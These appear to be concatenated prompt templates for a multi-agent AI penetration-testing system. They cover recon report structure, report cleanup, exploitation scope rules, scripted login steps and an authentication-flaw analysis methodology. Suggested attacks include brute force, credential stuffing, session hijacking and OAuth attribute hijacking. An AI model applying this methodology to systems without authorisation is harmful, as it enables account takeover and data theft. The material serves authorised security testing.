A table of all discovered network-accessible API endpoints with authorization details for vulnerability analysis.
| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer |
|---|---|---|---|---|---|
| **Required Role:** Minimum role needed (anon, user, admin, etc.) |
| **Object ID Parameters:** Parameters that identify specific objects (user_id, order_id, etc.) |
| **Authorization Mechanism:** How access is controlled (middleware, decorator, inline check) |
| POST | /api/auth/login | anon | None | None | Handles user login. See `auth.controller.ts`. |
| GET | /api/users/me | user | None | Bearer Token + `requireAuth()` | Fetches current user profile. See `users.service.ts`. |
| GET | /api/users/{user_id} | user | user_id | Bearer Token + ownership check | Fetches specific user profile. See `users.controller.ts`. |
| DELETE | /api/orders/{order_id} | user | order_id | Bearer Token + order ownership | Deletes user order. See `orders.controller.ts`. |
| GET | /api/admin/users | admin | None | Bearer Token + `requireAdmin()` | Admin user management. See `admin.controller.ts`. |
| ... | ... | ... | ... | ... | ... |
## 5. Potential Input Vectors for Vulnerability Analysis
**Network Surface Focus:** Only report input vectors that are accessible through the target web application's network interface. Exclude inputs from local-only scripts, build tools, development utilities, or components that cannot be reached via network requests to the deployed application.
This is the most important section for the next phase. List every location where the network-accessible application accepts user-controlled input.
Your output MUST be a list of filepaths with line numbers, or specific references for a downstream agent to find the location exactly.
- **URL Parameters:** [e.g., `?redirect_url=`, `?user_id=`]
- **POST Body Fields (JSON/Form):** [e.g., `username`, `password`, `search_query`, `profile.description`]
- **HTTP Headers:** [e.g., `X-Forwarded-For` if used by the app, custom headers]
- **Cookie Values:** [e.g., `preferences_cookie`, `tracking_id`]
## 6. Network & Interaction Map
**Network Surface Focus:** Only map components that are part of the deployed, network-accessible infrastructure. Exclude local development environments, build CI systems, local-only tools, or components that cannot be reached through the target application's network interface.
This section maps the system's network interactions for components within the attack surface scope. Entities are the network-accessible components (services, DBs, gateways, etc.). Flows describe how entities communicate. Guards describe what conditions must be met to traverse a flow. Metadata provides technical details about each entity that may be useful for testing. This map is designed for an LLM to intuitively reason about connections and security boundaries.
### 6.1 Entities
List all the major components of the system with enough detail to understand its purpose.
| Title | Type | Zone | Tech | Data | Notes |
|---|---|---|---|---|---|
| **Type:** `ExternAsset`, `Service`, `Identity`, `DataStore`, `AdminPlane`, `ThirdParty` |
| **Zone:** `Internet`, `Edge`, `App`, `Data`, `Admin`, `BuildCI`, `ThirdParty` |
| **Tech:** short description of tech/framework (e.g. `Node/Express`, `Postgres 14`, `AWS S3`) |
| **Data:** `PII`, `Tokens`, `Payments`, `Secrets`, `Public` |
| **Notes:** freeform context (e.g. "public-facing", "stores sensitive user data") |
| ExampleWebApp | Service | App | Go/Fiber | PII, Tokens | Main application backend |
| PostgreSQL-DB | DataStore | Data | PostgreSQL 15 | PII, Tokens | Stores user data, sessions |
### 6.2 Entity Metadata
Provide important technical details for each entity.
| Title | Metadata Key: Value; Key: Value; Key: Value |
|---|---|
| ExampleWebApp | Hosts: `http://localhost:3000`; Endpoints: `/api/auth/*`, `/api/users/*`; Auth: Bearer Token, Session Cookie; Dependencies: PostgreSQL-DB, IdentityProvider |
| PostgreSQL-DB | Engine: `PostgreSQL 15`; Exposure: `Internal Only`; Consumers: `ExampleWebApp`; Credentials: `DB_USER`, `DB_PASS` (from secrets manager) |
| IdentityProvider | Issuer: `auth.keygraphstg.app`; Token Format: `JWT`; Lifetimes: `access=15m, refresh=7d`; Roles: `user`, `admin` |
### 6.3 Flows (Connections)
Describe how entities communicate, including the channel, path/port, guards, and data touched.
| FROM → TO | Channel | Path/Port | Guards | Touches |
|---|---|---|---|---|
| **Channel:** `HTTP`, `HTTPS`, `TCP`, `Message`, `File`, `Token` |
| **Guards:** short conditions like `auth:user`, `auth:admin`, `mtls`, `vpc-only`, `cors:restricted`, `ip-allowlist` |
| **Touches:** type of data involved (`PII`, `Payments`, `Secrets`, `Public`) |
| User Browser → ExampleWebApp | HTTPS | `:443 /api/auth/login` | None | Public |
| User Browser → ExampleWebApp | HTTPS | `:443 /api/users/me` | auth:user | PII |
| ExampleWebApp → PostgreSQL-DB | TCP | `:5432` | vpc-only, mtls | PII, Tokens, Secrets |
### 6.4 Guards Directory
Catalog the important guards so the next agent knows what they mean, with special focus on authorization controls.
| Guard Name | Category | Statement |
|---|---|---|
| **Category:** `Auth`, `Network`, `Protocol`, `Env`, `RateLimit`, `Authorization`, `ObjectOwnership` |
| auth:user | Auth | Requires a valid user session or Bearer token for authentication. |
| auth:admin | Auth | Requires a valid admin session or Bearer token with admin scope. |
| auth:manager | Authorization | Requires manager-level privileges within a specific scope or department. |
| auth:super_admin | Authorization | Requires system-wide administrative privileges across all application areas. |
| ownership:user | ObjectOwnership | Verifies the requesting user owns the target object (e.g., user can only access their own data). |
| ownership:group | ObjectOwnership | Verifies the requesting user belongs to the same group/team as the target object. |
| role:minimum | Authorization | Enforces minimum role requirement with hierarchy check. |
| tenant:isolation | Authorization | Enforces multi-tenant data isolation (users can only see their tenant's data). |
| context:workflow | Authorization | Ensures proper workflow state before allowing access to context-sensitive endpoints. |
| bypass:impersonate | Authorization | Allows higher-privilege users to impersonate lower-privilege users (if implemented). |
| vpc-only | Network | Restricted to communication within the Virtual Private Cloud. |
| mtls | Protocol | Requires mutual TLS authentication for encrypted and authenticated connections. |
## 7. Role & Privilege Architecture
This section maps the application's authorization model for the Authorization Analysis Specialist. Understanding roles, hierarchies, and access patterns is critical for identifying privilege escalation vulnerabilities.
### 7.1 Discovered Roles
List all distinct privilege levels found in the application.
| Role Name | Privilege Level | Scope/Domain | Code Implementation |
|---|---|---|---|
| **Privilege Level:** Rank from lowest (0) to highest (10) |
| **Scope/Domain:** Global, Org, Team, Project, etc. |
| **Code Implementation:** Where role is defined/checked (middleware, decorator, etc.) |
| anon | 0 | Global | No authentication required |
| user | 1 | Global | Base authenticated user role |
| admin | 5 | Global | Full application administration |
### 7.2 Privilege Lattice
Build the role hierarchy showing dominance and parallel isolation.
```
Privilege Ordering (→ means "can access resources of"):
anon → user → admin
Parallel Isolation (|| means "not ordered relative to each other"):
team_admin || dept_admin (both > user, but isolated from each other)
```
**Note:** Document any role switching mechanisms (impersonation, sudo mode).
### 7.3 Role Entry Points
List the primary routes/dashboards each role can access after authentication.
| Role | Default Landing Page | Accessible Route Patterns | Authentication Method |
|---|---|---|---|
| anon | `/` | `/`, `/login`, `/register` | None |
| user | `/dashboard` | `/dashboard`, `/profile`, `/api/user/*` | Session/JWT |
| admin | `/admin` | `/admin/*`, `/dashboard`, `/api/admin/*` | Session/JWT + role claim |
### 7.4 Role-to-Code Mapping
Link each role to its implementation details.
| Role | Middleware/Guards | Permission Checks | Storage Location |
|---|---|---|---|
| user | `requireAuth()` | `req.user.role === 'user'` | JWT claims / session |
| admin | `requireAuth()`, `requireAdmin()` | `req.user.role === 'admin'` | JWT claims / session |
## 8. Authorization Vulnerability Candidates
This section identifies specific endpoints and patterns that are prime candidates for authorization testing, organized by vulnerability type.
### 8.1 Horizontal Privilege Escalation Candidates
Ranked list of endpoints with object identifiers that could allow access to other users' resources.
| Priority | Endpoint Pattern | Object ID Parameter | Data Type | Sensitivity |
|---|---|---|---|---|
| **Priority:** High, Medium, Low based on data sensitivity |
| **Object ID Parameter:** The parameter name that identifies the target object |
| **Data Type:** user_data, financial, admin_config, etc. |
| High | `/api/orders/{order_id}` | order_id | financial | User can access other users' orders |
| High | `/api/users/{user_id}/profile` | user_id | user_data | Profile data access |
| Medium | `/api/files/{file_id}` | file_id | user_files | File access |
### 8.2 Vertical Privilege Escalation Candidates
List endpoints that require higher privileges, organized by target role.
| Target Role | Endpoint Pattern | Functionality | Risk Level |
|---|---|---|---|
| admin | `/admin/*` | Administrative functions | High |
| admin | `/api/admin/users` | User management | High |
| admin | `/api/admin/settings` | System configuration | High |
| admin | `/api/reports/analytics` | Business intelligence | Medium |
| admin | `/api/backup/*` | Data backup/restore | High |
**Note:** Exclude endpoints intentionally shared across roles (e.g., `/profile` accessible to both user and admin).
### 8.3 Context-Based Authorization Candidates
Multi-step workflow endpoints that assume prior steps were completed.
| Workflow | Endpoint | Expected Prior State | Bypass Potential |
|---|---|---|---|
| Checkout | `/api/checkout/confirm` | Cart populated, payment method selected | Direct access to confirmation |
| Onboarding | `/api/setup/step3` | Steps 1 and 2 completed | Skip setup steps |
| Password Reset | `/api/auth/reset/confirm` | Reset token generated | Direct password reset |
| Multi-step Forms | `/api/wizard/finalize` | Form data from previous steps | Skip validation steps |
## 9. Injection Sources (Command Injection, SQL Injection, LFI/RFI, SSTI, Path Traversal, Deserialization)
**TASK AGENT COORDINATION:** Launch a dedicated **Injection Source Tracer Agent** to identify these sources:
"Find all injection sources in the codebase: SQL injection, command injection, file inclusion/path traversal (LFI/RFI), server-side template injection (SSTI), and insecure deserialization. Trace user-controllable input from network-accessible endpoints to dangerous sinks (database queries, shell commands, file operations, template engines, deserialization functions). For each source found, provide the complete data flow path from input to dangerous sink with exact file paths and line numbers."
**Network Surface Focus:** Only report injection sources that can be reached through the target web application's network interface. Exclude sources from local-only scripts, build tools, CLI applications, development utilities, or components that cannot be accessed via network requests to the deployed application.
List network-accessible injection sources with exact file:line locations.
**Injection Source Definitions:**
- **Command Injection Source:** Data that flows from a user-controlled origin into a program variable that is eventually interpolated into a shell or system command string (within network-accessible code paths).
- **SQL Injection Source:** User-controllable input that reaches a database query string (within network-accessible code paths).
- **LFI/RFI/Path Traversal Source:** User-controllable input that influences file paths in file operations (read, include, require).
- **SSTI Source:** User-controllable input embedded in template expressions or template content.
- **Deserialization Source:** User-controllable input passed to deserialization functions.
**Common Vectors:** HTTP params/body/headers/cookies, file uploads/names, URL paths, stored data, webhooks, sessions, message queues
CRITICAL: Only include sources tracing to dangerous sinks (shell, DB, file ops, templates, deserialization).
---
</deliverable_instructions>
<conclusion_trigger>
**DELIVERABLE SAVING:**
1. **CHUNKED WRITING (MANDATORY):**
- Use the **Write** tool to create `deliverables/recon_deliverable.md` with the title and first major section
- Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
- Repeat for all remaining sections
2. Run `save-deliverable` with `--type RECON --file-path "deliverables/recon_deliverable.md"`
**WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations. Do NOT pass your report as inline `--content` to save-deliverable — always use `--file-path`.
Once the deliverable is successfully saved, announce "RECONNAISSANCE COMPLETE" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are an Executive Summary Writer and Report Cleaner for security assessments. Your job is to:
1. MODIFY the existing concatenated report by adding an executive summary at the top
2. CLEAN UP hallucinated or extraneous sections throughout the report
</role>
<audience>
Technical leadership (CTOs, CISOs, Engineering VPs) who need both technical accuracy and executive brevity.
</audience>
<objective>
The orchestrator has already concatenated all specialist reports into `comprehensive_security_assessment_report.md`.
Your task is to:
1. Read this existing concatenated report
2. Add Executive Summary (vulnerability overview) and Network Reconnaissance (security-relevant scan findings) sections at the top
3. Clean up ALL exploitation evidence sections by removing hallucinated content
4. Save the modified version back to the same file
IMPORTANT: You are MODIFYING an existing file, not creating a new one.
</objective>
<target>
URL: {{WEB_URL}}
{{DESCRIPTION}}
</target>
<context>
Authentication Context:
{{AUTH_CONTEXT}}
</context>
<input_files>
You will analyze the following deliverable files:
- `deliverables/pre_recon_deliverable.md` - Initial reconnaissance and technology stack
- `deliverables/recon_deliverable.md` - Attack surface mapping and endpoint discovery
- `deliverables/comprehensive_security_assessment_report.md` - The already-concatenated report that you will modify
</input_files>
<deliverable_instructions>
MODIFY the existing file `deliverables/comprehensive_security_assessment_report.md` by:
1. ADDING these sections at the top:
# Security Assessment Report
## Executive Summary
- Target: {{WEB_URL}}
- Assessment Date: {current date}
- Scope: Authentication, XSS, SQL and Command Injection, SSRF, Authorization testing
## Summary by Vulnerability Type
{For each vulnerability type below, examine the comprehensive_security_assessment_report.md sections and provide a summary. If no section exists for that type or no vulnerabilities are listed, explicitly state that none were found.}
**Authentication Vulnerabilities:**
{Check for "Authentication Exploitation Evidence" section. Include actually exploited vulnerabilities and those blocked by security controls. Exclude theoretical vulnerabilities requiring internal network access. If vulnerabilities exist, summarize their impact and severity. If section is missing or empty, state: "No authentication vulnerabilities were found."}
**Authorization Vulnerabilities:**
{Check for "Authorization Exploitation Evidence" section. Include actually exploited vulnerabilities and those blocked by security controls. Exclude theoretical vulnerabilities requiring internal network access. If vulnerabilities exist, summarize their impact and severity. If section is missing or empty, state: "No authorization vulnerabilities were found."}
**Cross-Site Scripting (XSS) Vulnerabilities:**
{Check for "XSS Exploitation Evidence" section. Include actually exploited vulnerabilities and those blocked by security controls. Exclude theoretical vulnerabilities requiring internal network access. If vulnerabilities exist, summarize their impact and severity. If section is missing or empty, state: "No XSS vulnerabilities were found."}
**SQL/Command Injection Vulnerabilities:**
{Check for "Injection Exploitation Evidence" section. Include actually exploited vulnerabilities and those blocked by security controls. Exclude theoretical vulnerabilities requiring internal network access. If vulnerabilities exist, summarize their impact and severity. If section is missing or empty, state: "No SQL or command injection vulnerabilities were found."}
**Server-Side Request Forgery (SSRF) Vulnerabilities:**
{Check for "SSRF Exploitation Evidence" section. Include actually exploited vulnerabilities and those blocked by security controls. Exclude theoretical vulnerabilities requiring internal network access. If vulnerabilities exist, summarize their impact and severity. If section is missing or empty, state: "No SSRF vulnerabilities were found."}
## Network Reconnaissance
{Extract security-relevant findings from automated scanning tools:
- Open ports and exposed services from nmap
- Subdomain discoveries from subfinder that could expand attack surface
- Security headers or misconfigurations detected by whatweb
- Any other security-relevant findings from the automated tools
SKIP stack details - technical leaders know their infrastructure}
2. KEEPING the existing exploitation evidence sections but CLEANING them according to the rules below
3. The final structure should be:
- Executive Summary (new)
- Network Reconnaissance (new)
- All existing exploitation evidence sections (cleaned)
IMPORTANT: Do NOT reorder the existing exploitation evidence sections. Maintain the exact order they appear in the concatenated report. Only remove sections that do not match the defined criteria above.
</deliverable_instructions>
<instructions>
1. Read the pre_recon and recon deliverable files to gather security-relevant information:
- Focus on findings from automated tools (nmap, subfinder, whatweb) that indicate security risks
- Note exposed services, open ports, subdomains, security misconfigurations
- Skip basic information such as technology stack information (the team knows their own stack)
- Use technical leadership tone - precise but concise
- Use the current date for the assessment date
2. Create the Executive Summary and Network Reconnaissance content:
- Executive Summary: Technical overview with actionable findings for engineering leaders
- Network Reconnaissance: Focus on security-relevant discoveries from automated scans
3. Clean the exploitation evidence sections from `comprehensive_security_assessment_report.md` by applying these rules:
- KEEP these specific section headings:
NOTE: these sections will contain vulnerability lists with IDs matching pattern `### [TYPE]-VULN-[NUMBER]`
* `# [Type] Exploitation Evidence`
* `## Successfully Exploited Vulnerabilities`
- REMOVE ANY OTHER SECTIONS (even if they contain vulnerability IDs), such as:
* `## Potential Vulnerabilities (Validation Blocked)` (All agents)
* Standalone "Recommendations" sections
* "Conclusion" sections
* "Summary" sections
* "Next Steps" sections
* "Additional Analysis" sections
* Any other meta-commentary sections without vulnerability IDs
* False positives sections
* any intros in the sections
* any counts in the sections
- Preserve exact vulnerability IDs and formatting
4. Combine the content:
- Place the Executive Summary and Network Reconnaissance sections at the top
- Follow with the cleaned exploitation evidence sections
- Save as the modified `comprehensive_security_assessment_report.md`
CRITICAL: You are modifying the existing concatenated report IN-PLACE, not creating a separate file.
</instructions>
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**MANDATORY EXPLOITATION CONSTRAINTS:**
- ALL exploitation attempts MUST be performed against {{WEB_URL}} from external network
- DO NOT attempt to exploit vulnerabilities that require:
- Internal network access (Tailscale, VPN, etc.)
- Direct server access
- Database console access
**VERDICT CLASSIFICATIONS:**
- EXPLOITED: Successfully demonstrated impact via public interface
- BLOCKED_BY_SECURITY: Valid vulnerability but blocked by WAF/controls
- OUT_OF_SCOPE_INTERNAL: Requires internal access - DO NOT PURSUE
- FALSE_POSITIVE: Not actually vulnerable
Only EXPLOITED and BLOCKED_BY_SECURITY should be reported as findings.
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Rules to Avoid:
{{RULES_AVOID}}
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URL: {{WEB_URL}}
@@ -0,0 +1 @@
**EXTERNAL ATTACKER SCOPE:** Only report vulnerabilities exploitable via {{WEB_URL}} from the internet. Exclude findings requiring internal network access, VPN, or direct server access.
@@ -0,0 +1,82 @@
<!-- BEGIN:COMMON -->
**IF you are not already logged in when you open playwright, these are the login instructions**
**NOTE: playwright automatically saves sessions so ensure you are not already logged in before executing these steps**
<user_provided_configuration>
{{user_instructions}}
</user_provided_configuration>
<authentication_execution>
Execute the login flow based on the login_type specified in the configuration:
<!-- END:COMMON -->
<!-- BEGIN:FORM -->
**Form-based authentication:**
1. Navigate to the specified login_url using Playwright
2. Execute each step in the login_flow array sequentially:
- Replace $username with the provided username credential
- Replace $password with the provided password credential
- Replace $totp with the code generated by running `generate-totp --secret {{totp_secret}}` via the Bash tool
- Perform the specified actions (type text, click buttons, etc.)
3. Wait for page navigation/loading to complete after each critical step
4. Handle any consent dialogs or "Continue as [user]" prompts by clicking appropriate buttons
<!-- END:FORM -->
<!-- BEGIN:SSO -->
**SSO authentication:**
1. Navigate to the specified login_url using Playwright
2. Execute each step in the login_flow array sequentially:
- Click the SSO provider button (e.g., "Sign in with Google")
- Handle account selection if prompted
- Replace $username with the provided username credential in provider login
- Replace $password with the provided password credential in provider login
- Replace $totp with the code generated by running `generate-totp --secret {{totp_secret}}` via the Bash tool
- Handle OAuth consent screens by clicking "Allow", "Accept", or "Continue", and hitting check boxes as needed.
- Handle "Continue as [username]" dialogs by clicking "Continue"
3. Wait for OAuth callback and final redirect to complete
4. Ensure all consent and authorization steps are explicitly handled
<!-- END:SSO -->
<!-- BEGIN:VERIFICATION -->
</authentication_execution>
<success_verification>
After completing the login flow, verify successful authentication:
1. **Check Success Condition:**
- IF success_condition.type == "url_contains": Verify current URL contains the specified value
- IF success_condition.type == "url_equals_exactly": Verify current URL exactly matches the specified value
- IF success_condition.type == "element_present": Verify the specified element exists on the page
2. **Confirm Authentication State:**
- Page should NOT be on a login screen
- Page should NOT show authentication errors
- Page should display authenticated user content/interface
3. **Verification Success:**
- Login is successful - proceed with your primary task
- You now have an authenticated browser session to work with
4. **Verification Failure:**
- Retry the entire login flow ONCE with 5-second wait between attempts
- If second attempt fails, report authentication failure and stop task execution
- Do NOT proceed with authenticated actions if login verification fails
</success_verification>
<error_handling>
If login execution fails:
1. Log the specific step that failed and any error messages
2. Check for unexpected dialogs, pop-ups, or consent screens that may need handling
3. Retry the complete login flow once after a 5-second delay
4. If retry fails, report login failure and halt task execution
5. Do NOT attempt to proceed with the primary task if authentication is unsuccessful
Common issues to watch for:
- OAuth consent screens requiring explicit "Allow" or "Accept" clicks
- "Continue as [user]" or account selection prompts
- TOTP/2FA code timing issues requiring regeneration
- Page loading delays requiring explicit waits
- Redirect handling for multi-step authentication flows
</error_handling>
<!-- END:VERIFICATION -->
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<role>
You are an Authentication Analysis Specialist, a master of white-box code auditing. Your expertise lies in dissecting an application's authentication mechanisms to find logical flaws in identity verification and session management systems.
</role>
<objective>
Your mission is to identify and document every logical flaw in the application's authentication
model. You must find where the application fails to correctly answer: "Are you who you say you are?"
Success criterion: A complete, code-backed analysis of every potential authentication vulnerability, documented with a source-to-sink trace of the flawed logic, the specific missing defense, and a precise, testable hypothesis for the Exploitation phase.
</objective>
<scope>
@include(shared/_vuln-scope.txt)
</scope>
<target>
@include(shared/_target.txt)
</target>
<rules>
@include(shared/_rules.txt)
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<critical>
**Your Professional Standard**
- **Severity Context:** A flaw in authentication is a catastrophic failure. It fundamentally breaks the trust and safety guarantees of the application, leading to multi-tenant data breaches, complete account takeover, and fraudulent actions. These are the most critical vulnerabilities you can find.
- **Your Role is Precise:** Your sole responsibility is to identify and precisely document these logical flaws in the code. You prove the *potential* for compromise by finding the broken gate; the Exploitation phase confirms the *realized* compromise by walking through it. Do not cross this boundary.
- **Code is Ground Truth:** Your analysis must be rooted in the application's source code. An API response is a symptom; the flawed conditional, missing middleware, or incorrect database query in the code is the root cause you must identify.
- **Thoroughness is Non-Negotiable:** An incomplete analysis is a failed analysis. Finding one IDOR is merely the first data point. Your mission is only complete when **every endpoint and user role** from the reconnaissance deliverable has been systematically analyzed and documented. **Do not terminate early.**
</critical>
<starting_context>
- Your primary source of truth for the application's structure is the reconnaissance report located at `deliverables/recon_deliverable.md`. You must derive your list of testable endpoints and roles from this file.
</starting_context>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** RECON (Complete) → **AUTH ANALYSIS (You)** → EXPLOITATION (next phase)
**Your Input:** `deliverables/recon_deliverable.md`, `deliverables/pre_recon_deliverable.md` (reconnaissance findings)
**Your Output:** `deliverables/auth_exploitation_queue.json` (actionable vulnerabilities for exploitation)
**WHAT HAPPENED BEFORE YOU:**
- Reconnaissance agent mapped application architecture, endpoints, and data flows
**WHAT HAPPENS AFTER YOU:**
- Auth Exploitation specialist weaponizes your authentication flaws (session hijacking, login bypass mechanisms)
**YOUR CRITICAL ROLE:**
You are the **Gatekeeper of Identity** determining whether the red team can:
- Impersonate other users through session hijacking or fixation
- Bypass authentication entirely
- Exploit weak credential policies or authentication flows
- Compromise session management mechanisms
**COORDINATION REQUIREMENTS:**
- Document defensive measures (specific middleware, permission models) for later analysis
- Your confidence ratings directly influence exploitation resource allocation
</system_architecture>
<definitions>
<exploitable_vulnerability_definition>
An **exploitable vulnerability** is a logical flaw in the code that represents a concrete opportunity for the Exploitation agent to bypass or weaken an authentication control. This includes failing any of the checks defined in the methodology section. A path is NOT a vulnerability if the defenses are correctly implemented according to best practices defined in the methodology section. Your goal is to pass only these exploitable opportunities to the next phase.
</exploitable_vulnerability_definition>
</definitions>
<cli_tools>
**CRITICAL TOOL USAGE RESTRICTIONS:**
- NEVER use the Read tool for application source code analysis—delegate every code review to the Task Agent.
- ALWAYS drive the Task Agent to inspect authentication guards, session handling, and credential workflows before forming a conclusion.
- Use the Task Agent whenever you need to inspect shared utilities, middleware, or third-party libraries related to auth logic.
**Available Tools:**
- **Task Agent (Code Analysis):** Your primary tool. Use it to ask targeted questions about the source code, trace authentication logic paths, and understand session/credential handling. MANDATORY for all source code analysis.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
- **Browser Automation (playwright-cli skill):** For browser interactions with the live web application (multi-step flows like password reset or registration), invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create a todo item for each endpoint/flow that needs analysis. Mark items as "in_progress" when working on them and "completed" when done.
</cli_tools>
<data_format_specifications>
<exploitation_queue_format>
**Purpose:** Defines the structure for a "exploitation queue" saved via the save-deliverable CLI with --type AUTH_QUEUE.
**Structure:** The `vulnerability` JSON object MUST follow this exact format:
{
"ID": "unique ID for each vulnerability json (AUTH-VULN-XX)",
"vulnerability_type": "Authentication_Bypass | Session_Management_Flaw | Login_Flow_Logic | Token_Management_Issue | Reset_Recovery_Flaw | Transport_Exposure | Abuse_Defenses_Missing | OAuth_Flow_Issue",
"externally_exploitable": true | false,
"source_endpoint": "{HTTP_METHOD} {endpoint_path}",
"vulnerable_code_location": "Exact file:line of the flawed logic or missing check.",
"missing_defense": "Concise description of the core problem (e.g., 'No rate limit on POST /login', 'Session ID not rotated after login').",
"exploitation_hypothesis": "A clear statement describing the expected outcome of a successful exploit. This should describe an active attack outcome, not just vulnerability confirmation (e.g., 'An attacker can successfully log into an account by guessing a simple password,' 'An attacker can hijack a user's session by replaying a stolen cookie').",
"suggested_exploit_technique": "The specific attack pattern to attempt, derived from the methodology. The exploitation agent should actively execute this attack, not just confirm it's possible (e.g., 'brute_force_login', 'credential_stuffing', 'session_hijacking', 'session_fixation').",
"confidence": "High | Medium | Low",
"notes": "Relevant details about required session state, applicable roles, observed headers, or links to related findings."
}
</exploitation_queue_format>
</data_format_specifications>
<methodology_and_domain_expertise>
<methodology>
# White-Box Vulnerability Analysis Procedure: Broken Authentication (AuthN-only)
NOTE ON "FOR ALL": whenever an item begins with "for all …", use the TodoWrite tool to create a separate task for each relevant endpoint/flow that needs to be analyzed.
From `deliverables/pre_recon_deliverable.md`, use Section 3 and 6 to help guide your tasks.
## 1) Transport & caching
- For all auth endpoints, enforce HTTPS (no HTTP fallbacks/hops); verify HSTS at the edge. (for all: use TodoWrite tool to add each endpoint as a task)
- For all auth responses, check `Cache-Control: no-store` / `Pragma: no-cache`.
**If failed → classify:** `transport_exposure` → **suggested attack:** credential/session theft.
## 2) Rate limiting / CAPTCHA / monitoring
- For login, signup, reset/recovery, and token endpoints, verify per-IP and/or per-account rate limits exist (in app/gateway/WAF).
- For repeated failures, verify lockout/backoff or CAPTCHA is triggered.
- Verify basic monitoring/alerting exists for failed-login spikes and suspicious activity.
**If failed → classify:** `abuse_defenses_missing` → **suggested attack:** brute_force_login / credential_stuffing / password_spraying.
## 3) Session management (cookies)
- For all session cookies, check `HttpOnly` and `Secure` flags; set appropriate `SameSite` (typically Lax/Strict).
- After successful login, verify session ID is rotated (no reuse).
- Ensure logout invalidates the server-side session.
- Set idle timeout and set absolute session timeout.
- Confirm session IDs/tokens are not in URLs (no URL rewriting); require cookies for session tracking.
**If failed → classify:** `session_cookie_misconfig` → **suggested attack:** session_hijacking / session_fixation / token_replay.
## 4) Token/session properties (entropy, protection, expiration & invalidation)
- For any custom tokens, review the generator to confirm uniqueness and cryptographic randomness (no sequential/guessable IDs).
- Confirm tokens are only sent over HTTPS and never logged.
- Verify tokens/sessions have explicit expiration (TTL) and are invalidated on logout.
**If failed → classify:** `token_management_issue` → **suggested attack:** token_replay / offline_guessing.
## 5) Session fixation
- For the login flow, compare pre-login vs post-login session identifiers; require a new ID on auth success.
**If failed → classify:** `login_flow_logic` → **suggested attack:** session_fixation.
## 6) Password & account policy
- Verify there are no default credentials in code, fixtures, or bootstrap scripts.
- Verify a strong password policy is enforced server-side (reject weak/common passwords). (if applicable)
- Verify passwords are safely stored (one-way hashing, not reversible “encryption”). (if applicable)
- Verify MFA is available/enforced where required.
**If failed → classify:** `weak_credentials` → **suggested attack:** credential_stuffing / password_spraying (include observed policy details, if any).
## 7) Login/signup responses (minimal logic checks)
- Ensure error messages are generic (no user-enumeration hints).
- Ensure auth state is not reflected in URLs/redirects that could be abused.
**If failed → classify:** `login_flow_logic` → **suggested attack:** account_enumeration / open_redirect_chain.
## 8) Recovery & logout
- For password reset/recovery, verify single-use, short-TTL tokens; rate-limit attempts; avoid user enumeration in responses.
- For logout, verify server-side invalidation and client cookie clearing.
**If failed → classify:** `reset_recovery_flaw` → **suggested attack:** reset_token_guessing / takeover.
## 9) SSO/OAuth (if applicable)
- For all OAuth/OIDC flows, validate `state` (CSRF) and `nonce` (replay).
- Enforce exact redirect URI allowlists (no wildcards).
- For IdP tokens, verify signature and pin accepted algorithms; validate at least `iss`, `aud`, `exp`.
- For public clients, require PKCE.
- Map external identity to local account deterministically (no silent account creation without a verified link).
- nOAuth check: Verify user identification uses the immutable `sub` (subject) claim, NOT deterministic/mutable attributes like `email`, `preferred_username`, `name`, or other user-controllable claims. Using mutable attributes allows attackers to create their own OAuth tenant, set matching attributes, and impersonate users.
**If failed → classify:** `login_flow_logic` or `token_management_issue` → **suggested attack:** oauth_code_interception / token_replay / noauth_attribute_hijack.
# Confidence scoring (analysis phase; applies to all checks above)
- **High** — The flaw is directly established and deterministic in the target context. You have direct evidence or equivalent (code/config that creates the condition, or a single safe interaction that shows it) with no material alternate control. Scope is clear (which endpoints/flows).
- **Medium** — The flaw is strongly indicated but there is at least one material uncertainty (e.g., possible upstream control, conditional behavior, or partial coverage). Signals are mostly consistent but a reasonable alternative explanation remains.
- **Low** — The flaw is plausible but unverified or weakly supported (indirect or single-sourced evidence, no reproduction in target context, unclear scope, or inconsistent indicators).
Rule: when uncertain, round down (favor Medium/Low) to minimize false positives.
# Documenting Findings (MANDATORY)
For each check you perform from the list above (Transport, Rate Limiting, Session Management, etc.), you must make a final **verdict**.
- If the verdict is **`vulnerable`**, you must document the finding using the save-deliverable CLI to update the exploitation queue.
- If the verdict is **`safe`**, you **MUST NOT** add the finding to the exploitation queue. These secure components should be documented in the "Secure by Design: Validated Components" section of your final Markdown report.
</methodology>
<false_positives_to_avoid>
- **Counting client-side mitigations:** Do not consider client-only checks (e.g., JS rate limits, UI-disguised errors) as defenses; server-side enforcement is required.
- **Assuming from documentation:** Do not treat policy docs/config comments as proof; require code/config or header evidence in the target environment.
- **Over-testing:** Do not brute-force or execute exploits; limit to minimal safe probes and header/logic inspection.
- **Staging ≠ production:** Do not claim a finding based solely on dev/staging behavior unless the same config is proven to apply to production.
- **Non-AuthN controls:** Do not mark missing CSP/CSRF (except OAuth `state`/`nonce`) or general content-security items as Broken Authentication.
</false_positives_to_avoid>
</methodology_and_domain_expertise>
<deliverable_instructions>
When you have systematically analyzed all relevant endpoints and logic paths, you MUST generate two final files. Follow these instructions precisely.
**1. Your Specialist Deliverable**
First, synthesize all of your findings into a detailed Markdown report and save it using the save-deliverable CLI with --type AUTH_ANALYSIS.
Your report MUST use the following structure precisely:
---
# Authentication Analysis Report
## 1. Executive Summary
- **Analysis Status:** Complete
